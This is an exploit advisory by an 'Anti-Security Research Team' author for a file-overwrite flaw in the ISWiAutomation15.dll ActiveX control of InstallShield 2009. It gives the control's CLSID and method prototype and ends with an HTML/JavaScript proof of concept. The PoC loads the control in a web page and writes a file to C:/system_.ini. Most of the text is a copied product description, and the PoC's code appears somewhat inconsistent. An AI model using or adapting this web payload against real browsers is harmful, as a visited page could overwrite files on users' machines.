"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""  :::::: ::   ::       ::        ::  ::  ::::        """
"""  ::      :: ::        :: :::::: .. ::::   ::        """
"""  :::::    :::   ::::: :: ::  :: ::  ::  ::::        """
"""  ::      :: ::  ::  : :: ::  :: ::  ::    ::        """
"""  :::::: ::   :: ::::: :: :::::: ::  ::  :::: rs.ir  """
"""                 ::                                  """
"""                                                     """
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
   Anti-Security Research Team & Security Institute

#[+] Bug : Installshiled 2009 premier 15.0.0.53 Activex (ISWiAutomation15.dll) File Overwrite Expl0it
#[+] program  Download : http://www.installshield.com/downloads
#[+] Author : the_Edit0r
#[+] Contact me : the_3dit0r[at]Yahoo[dot]coM
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP2 with Internet Explorer 7
#[+] web site: Expl0iters.ir  * Anti-security.ir
#[+] Big thnx: Aria-Security Team & H4ckcity Member


# Part Description :
--------------------

InstallShield lets you easily create Windows Installer and InstallScript installations and extend them
to database servers, Web services, and mobile devices. New Features InstallShield includes the following
new features. Ability to Associate InstallShield Prerequisites with Features for Chaining Installations
InstallShield now enables you to associate InstallShield prerequisites with one or more features. This
new type of InstallShield prerequisite is called a feature prerequisite. It is installed if a feature
that contains the prerequisite is installed and if the prerequisite is not already installed on the system.
Including InstallShield prerequisites in your project enables you to chain multiple installations together,
bypassing the Windows Installer limitation that permits only one Execute sequence to be run at a time.The
Setup.exe setup launcher serves as a bootstrap application that manages the chaining. The Redistributables
view is where you add InstallShield prerequisites to a project and specify whether you want them to run
before your main installation or be associated with one or more features in your main installation.Previously,
all InstallShield prerequisite installations were run before the main installation ran, and the InstallShield
prerequisites could not be associated with any features. This type of prerequisite, which is still available,
is called a setup prerequisite. Basic MSI and Web projects include support for this feature. 

------------------------------------

targetFile = "E:\Program Files\InstallShield\2009\System\ISWiAutomation15.dll"
prototype  = "Function InsertCustomAction ( ByVal pCustomAction As _ISWiCustomAction ,  ByVal sComment As String ,  ByVal sCondition As String ,  ByVal lSequenceNumber As Long ) As _ISWiSequenceRecord"
memberName = "InsertCustomAction"
progid     = "ISWiAuto15.ISWiSequence"

# Part Expl0it & Bug Codes ( Poc ) : 
------------------------------------

<b>
Installshiled 2009 premier 15.0.0.53 File Overwrite Expl0it <b/>
                     by : the_Edit0r                        <b/>
<b/>
<object classid='clsid:34E7A6F9-F260-46BD-AAC8-1E70E22139D2' id='Edit0r'></object>
<script>

try{
    var obj = document.InsertCustomAction('Edit0r');
    obj.AddPage(1);
    obj.SaveToFile("C:/system_.ini");
    window.alert('check C:');
} catch(err){  window.alert('Poc failed'); }
</script>